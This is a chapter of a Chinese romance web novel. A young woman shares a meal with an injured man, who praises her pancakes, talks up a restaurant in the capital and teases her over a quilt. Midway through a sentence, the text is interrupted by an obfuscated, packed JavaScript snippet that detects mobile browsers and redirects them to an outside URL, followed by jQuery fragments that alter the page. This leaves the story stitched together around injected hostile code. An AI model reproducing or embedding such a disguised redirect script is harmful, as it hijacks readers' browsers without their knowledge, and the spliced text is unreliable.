冯灵芝把鸡汤端进屋的时候，心里还在想着灶房那两张饼。


    葱花饼，她烙的。面和得软，葱花撒得多，油锅里一转，两面金黄，外头酥里头软。她给自己留了一张，给那人留了一张——一大一小，自己回灶房吃那张小的就行。


    她端着鸡汤，用胳膊肘顶开帘子。


    一抬头，愣住了。


    屋子角落那张矮方桌，不知道什么时候被架起来了。桌面擦得干干净净，还带着点湿气，一看就是刚抹过的。桌子一侧摆着那唯一的一个小板凳，另一侧还放着个小木墩，上面垫了件旧衣裳。


    她看了看那方桌，又看了看他。


    那人站在桌边，脸上带着点得意，像是干了什么了不起的大事。


    “你……”冯灵芝张了张嘴，“你架桌子干什么？”


    “吃饭啊。”他说得理所当然。


    冯灵芝站在原地，没动。


    这桌子……她好久没见过了。


    奶奶在的时候，她们俩是在这桌上吃饭的。奶奶坐小板凳，她坐小木墩，两人面对面，就着咸菜喝粥。后来奶奶走了，她一个人，就再没架过这桌子。都是在灶房做完了，顺便在灶房吃，站着吃或者蹲着吃，省事。


    她看着那张擦得干干净净的桌子，心里头忽然涌上点什么，说不上来是什么滋味。


    那人已经走到她跟前了。


    “愣着干什么？”他说，伸手来接她手里的碗，“给我，你去坐着。”


    冯灵芝还没反应过来，碗已经被他接走了。他又往外走，掀开帘子，去灶房了。


    等她回过神，他已经端着剩下的那张葱花饼回来了——不，是两张，她给自己留的那张小的也被他端来了。


    “都端来了？”她问。


    “都端来了。”他把饼放在桌上，“一起吃。”


    说着，他把她按在那个小板凳上坐下，自己坐在那个垫了衣裳的木墩上。


    冯灵芝坐着，看着桌上的东西。


    一碗鸡汤，两张葱花饼，还有一小碟她腌的萝卜干。


    热气往上冒，香味往鼻子里钻。


    她已经很久……很久没有这样坐着吃过饭了。


    奶奶走后，这桌子就一直靠在墙角，落满了灰。她从来没想过再把它架起来。一个人吃饭，有什么好架的呢？


    可现在，她坐在这儿，对面坐着个人，桌上摆着热腾腾的饭。


    她低下头，盯着碗里的鸡汤，不敢抬头。


    眼眶有点热。


    “怎么了？”那人问。


    “没、没什么。”她眨眨眼，把那点热意压下去。


    那人看了她一眼，没再问，拿起一张葱花饼，咬了一大口。


    嚼着嚼着，他眼睛亮了。


    “这饼是你烙的？”


    冯灵芝点点头。


    “好吃！”他又咬了一口，嚼着说，“外头酥，里头软，葱花还香——你怎么做的？”


    冯灵芝被他问得有点不好意思，低着头小声说：“就……就和面的时候多放点水，醒一会儿，擀薄了撒葱花，卷起来再擀……”


    “卷起来再擀？”那人嘴里塞得满满的，含糊不清地说，“怪不得有层呢，我还想着怎么这么酥。”


    他咽下去，长出一口气。


    “我跟你说，”他放下碗，认真地看着她，“你这个手艺，拿到京城去，开个小饭馆，肯定能赚钱。”


    冯灵芝愣了一下，然后笑了。


    “你就会哄我。”她说。


    “谁哄你了？”那人一脸正经，“我是认真的。”


    他把饼放下，掰着手指头给她算：“你看啊，京城那些小饭馆，卖的也就是些寻常吃食。面条、包子、馄饨，没几个做得好的。你要是去了，就卖这个葱花饼，配碗粥——”


    他顿了顿，又补充：“就你早上熬的那种粥，稠稠的，香的。你想想，大冬天的，京城那些赶早的贩夫走卒，喝一碗热粥，吃一张刚出锅的葱花饼，那得多舒坦？”


    冯灵芝听着，嘴角忍不住往上弯。


    “一张饼卖几文钱？”他继续算，“五文？太便宜了，卖八文。一碗粥三文，加起来十一文。一天卖一百份，那就是一千一百文——”


    “一千一百文？”冯灵芝愣住了，“那么多？”


    “那可不。”那人得意地看了她一眼，“这还算少的呢。你要是生意好，一天卖个两三百份，那可就发了。”


    冯灵芝听着，心里头痒痒的。


    京城，小饭馆，一天一千多文……


    她从没想过这些。


    她抬起头，想说什么，却看见那人面前的碗——满满一碗鸡汤，他一口没动。


    他光顾着说话，光顾着给她算账……


    “你怎么不喝？”她问。


    那人低头看了看自己的碗，又看了看她，笑了：“那你怎么不喝？”


    “我不爱喝鸡——”冯灵芝话说一半，顿住了。


    那人看着她，眼里带着笑，那笑好像在说：你骗谁呢？


    冯灵芝低下头，不说话了。


    她不是不爱喝。她是舍不得喝。


    可那人好像看穿了她在想什么。


    “冯灵芝。”他叫她。


    她没抬头。


    “美食这东西，”他说，慢悠悠的，“得有人一起分享才好吃。一个人吃，再好的东西也没滋味。”


    冯灵芝愣了一下。


    “再说，”他拿起冯灵芝的碗，盛得慢慢的，“这鸡汤是你炖的，羊肚菌是你泡的，虫草也是你放的——你凭什么不喝？”


    冯灵芝张了张嘴，不知道该说什么。


    那人已经把碗塞回她手里了。


    “喝。”他说。


    然后他又拿起那张葱花饼，咬了一口，接着说：“我刚才说到哪儿了？哦，对，一天一千一百文。这还不算中午那顿呢。你要是中午再卖点别的，比如——”


    他一边嚼着饼，一边继续给她算。


    冯灵芝端着碗，听着他絮絮叨叨的，说京城哪儿人多，说小饭馆开在哪儿合适，说葱花饼可以改进改进，加点芝麻更香。


    她低头喝了一口汤。


    汤是温的，不烫了。她喝进去，那香味从嘴里化开，一直化到心里头。


    她一边喝着汤，一边听着他说话。


    他说的那些，什么京城啊，小饭馆啊，一天一千多文啊，她知道多半是哄她开心的。可有人愿意花心思哄她，她就很开心了。


    而且他说得头头是道的，什么城门楼子、什么东市西市的，她听都没听过。


    这人真见多识广。


    她抬起头，偷偷看了他一眼。


    他还在那儿掰着手指头算，阳光从窗户照进来，落在他脸上，亮亮的。


    冯灵芝又低下头，喝了一口汤。


    她想，这人怎么什么都知道。


    又想，就算他说的那些都是假的，今天这顿饭，这碗汤，这张桌子，她大概会记很久。


    ……


    吃完饭，冯灵芝收拾了碗筷，端去灶房洗了。


    洗着洗着，她抬头看了一眼灶房角落那张落满灰的床。


    这床从她记事起就在那儿了。破是破了点，床板还缺了一块，可架子是好的。小时候她懒得去山里捡柴，好几次都想把它劈了当柴烧。可奶奶总不让，说留着，留个念想。


    她不知道奶奶看见这张床时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391775|200314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，想到的是什么念想。


    可奶奶走后，她每次看见这张床，就会想起奶奶不让烧的情景。想起奶奶说“留着”时候的眼神。想起奶奶坐在床边，摸着床板发呆的样子。


    想着想着，她也舍不得烧了。


    就这么一直留着，落了灰，也没动过。


    冯灵芝站在床边，看了好一会儿。


    然后她转身去打了盆水，拿了块抹布。


    她把床板一块一块卸下来，搬到院子里，拿湿布擦干净，又拿干布擦干。放在太阳底下晒着。又回去把床架子也擦了，那些犄角旮旯的灰，用手指包着布，一点一点抠出来。


    忙活了大半个时辰，出了一身薄汗。


    她把晒干的床板搬回去，一块一块架好。虽然没那么结实，可睡人没问题。


    这床留了这么多年，她从来没用过。没想到今天，居然还能有再次启用的时候。


    冯灵芝拍了拍手上的灰，去主屋拿自己的东西。


    走到门口，她掀开帘子——


    那人正靠在床头，歪着身子往窗外看，像是在琢磨什么。外衣搭在旁边，身上盖着她准备拿走的那床旧被子。


    听见动静，他回过头来。


    “怎么了？”他问。


    “我、我来拿……”冯灵芝指了指墙角那堆东西——她的竹篓、旧蓑衣，还有几件换洗衣裳，”还有，那个……“她把竹楼里的上午刚买回来的新被子翻出来：”你有伤，要不盖这个？”


    “不要。”那人拒绝得干脆。


    冯灵芝愣了一下。


    “我不仅今天要盖这床，”那人靠在床头，语气霸道，伸手拍了拍身上的旧被子，“以后都要盖这床。”


    冯灵芝张了张嘴：“可是……旧的不如新的暖和……”


    “我觉得这个就挺暖和的。”他打断她。


    冯灵芝急了：“你那伤——”


    “我那伤怎么了？”他又打断她，歪着头看她，眼里忽然多了点别的意味。


    他坐起来，往前探了探身子，看着她，声音低低的，带着笑：


    “还是说……你看我这么英俊潇洒、玉树临风，对我有什么想法？”


    冯灵芝愣住了。


    他接着说，慢悠悠的：“非想用我盖过的被子？”


    她站在那儿，抱着那床新被子，动也不敢动。


    他又往前探了探，眼睛亮亮的：“如果是这样的话，我也不是不能给你……”


    冯灵芝的脸腾地一下红了。


    从脸颊烧到耳朵根，烧到脖子，烧得发烫。她张了张嘴，想说点什么，可“你……”了半天，“我……”了半天，一个字都憋不出来。


    那人眼里笑意更深了。


    冯灵芝一咬牙，抱着怀里的东西，转身就跑。


    跑得比上次还快。


    身后传来一声轻笑，还有一句飘过来的话：“慢点儿，别摔着——”


    冯灵芝一口气跑回灶房，把门关上，靠在门板上喘气。


    心跳咚咚咚的，快得要从嗓子眼蹦出来。


    她抱着那堆东西，站了好一会儿，脸上的热度才慢慢退下去。


    她把东西放下，又走到那张刚铺好的床边，站了一会儿。


    床铺得整整齐齐的。床板是擦过的，褥子是铺好的，只差一床被子。


    她低头看了看怀里那床新被子。


    白的，软软的，絮得厚厚的。


    是他不要的。


    冯灵芝站在床边，愣了一会儿。


    然后她把新被子铺在床上，坐下去，摸了摸。


    软的，暖的。


    她想，这人怎么这样。


    怎么……怎么这样。